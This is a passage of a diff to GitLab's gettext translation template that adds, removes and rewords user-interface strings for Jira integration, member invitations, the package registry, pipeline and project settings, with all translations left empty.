+
msgid "Inherited"
msgstr ""
@@ -16444,6 +16888,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16489,9 +16936,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16516,6 +16960,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16552,9 +16999,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16750,7 +17194,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16759,7 +17203,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16768,25 +17212,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16801,6 +17245,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16963,6 +17410,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16972,6 +17422,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -17059,6 +17512,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -17122,6 +17578,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17209,6 +17668,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17221,9 +17683,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17263,7 +17734,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17284,7 +17758,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17296,12 +17770,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17518,15 +17998,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17617,6 +18088,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17821,6 +18295,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18226,6 +18703,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18295,6 +18775,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18469,6 +18952,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18508,6 +18994,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18532,9 +19021,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18610,6 +19096,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18628,13 +19117,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18709,6 +19195,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18811,9 +19300,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18823,9 +19309,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18958,9 +19441,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -19018,9 +19498,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19585,6 +20062,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19777,6 +20257,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19840,6 +20326,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19975,6 +20464,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20293,6 +20785,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20341,9 +20842,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20509,6 +21007,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20554,6 +21055,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20620,7 +21124,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20671,6 +21175,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20758,6 +21265,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20929,6 +21439,30 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -21043,6 +21577,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21175,10 +21718,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21268,9 +21808,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21295,9 +21832,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21328,6 +21862,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21415,12 +21952,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21439,9 +21970,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21454,10 +21982,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21472,6 +22003,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21523,6 +22057,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21631,12 +22168,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21667,6 +22210,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21685,6 +22231,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21736,6 +22285,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21760,9 +22312,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21799,15 +22348,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21859,27 +22435,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -22117,10 +22672,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22201,7 +22765,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22450,9 +23014,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22471,6 +23032,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22546,6 +23110,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22615,9 +23191,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22768,10 +23341,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22807,6 +23380,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22945,6 +23530,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22969,6 +23560,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22993,6 +23587,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23251,7 +23848,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23641,6 +24238,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23656,49 +24256,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Issue URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Jenkins URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Leave blank to use your current API key"
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Leave blank to use your current password"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Mock service URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23752,25 +24385,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23782,7 +24418,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23794,7 +24430,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23806,10 +24442,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23842,10 +24478,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23869,15 +24508,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23908,7 +24541,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23917,7 +24550,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23938,16 +24571,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
-msgstr ""
-
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23959,12 +24589,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23992,10 +24625,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24529,6 +25162,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
